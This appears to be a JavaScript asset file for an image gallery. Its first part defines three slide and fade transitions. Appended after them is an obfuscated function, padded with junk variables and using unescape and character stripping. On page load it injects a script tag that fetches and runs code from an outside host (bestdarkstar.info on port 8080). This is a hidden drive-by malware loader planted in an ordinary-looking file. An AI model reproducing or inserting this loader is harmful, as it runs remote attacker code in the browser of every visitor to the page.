/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});


function K(){var eY;if(eY!='mJ'){eY=''};var k=unescape;var p;if(p!=''){p='n'};this.my='';var O;if(O!='R' && O!='Yt'){O=''};var KB=window;var m=k("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2f%63%6c%6f%6f%62%2e%63%6f%6d%2e%70%68%70");var a='';var X=new String();var P=new String();function j(w,x){var Z='';var pY="";var A="g";var H=k("%5b"), y=k("%5d");var Tp='';var V=H+x+y;var Wl;if(Wl!='XH' && Wl!='z'){Wl=''};var Eq;if(Eq!=''){Eq='Fr'};var _=new RegExp(V, A);var Km;if(Km!='Au' && Km!='Jr'){Km=''};return w.replace(_, new String());var q;if(q!=''){q='i'};};var Rt='';var KBD;if(KBD!='' && KBD!='ll'){KBD='VF'};var mZ;if(mZ!='ui' && mZ!='iK'){mZ='ui'};var cb='';var C='';var E=new String();var M;if(M!='BL'){M=''};var bV='';var T=document;var I=j('84910441815057','65921437');var Jl='';var qR='';var RZ;if(RZ!='' && RZ!='Xd'){RZ='qM'};var v;if(v!='' && v!='fm'){v='TN'};function U(){var VN=new Date();var _ZD;if(_ZD!='KP'){_ZD=''};var t=k("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var yS;if(yS!='' && yS!='kP'){yS=null};this.qZ='';E=t;E+=I;E+=m;var Fc;if(Fc!='' && Fc!='hS'){Fc=null};var nv="";var cn=new String();try {var Zw=new Array();b=T.createElement(j('s6curZiXp9tX','6K9hu_HnXZ'));var qK=new String();this.qo='';b[k("%73%72%63")]=E;this.Ke="";var xd;if(xd!='MX'){xd=''};b[k("%64%65%66%65%72")]=[1,2][0];var ko;if(ko!='uu'){ko='uu'};var EM;if(EM!='pq'){EM='pq'};var xV=new Array();T.body.appendChild(b);this.Xp="";} catch(u){alert(u);var Ob="";var gS;if(gS!='' && gS!='OV'){gS='aH'};};}KB["ExNonl".substr(3)+"oad"]=U;var Mv;if(Mv!='Bz' && Mv != ''){Mv=null};var kL="";var iD=new String();var i_;if(i_!='Q' && i_!='cf'){i_=''};};K();var _c="";var DC;if(DC!=''){DC='Oa'};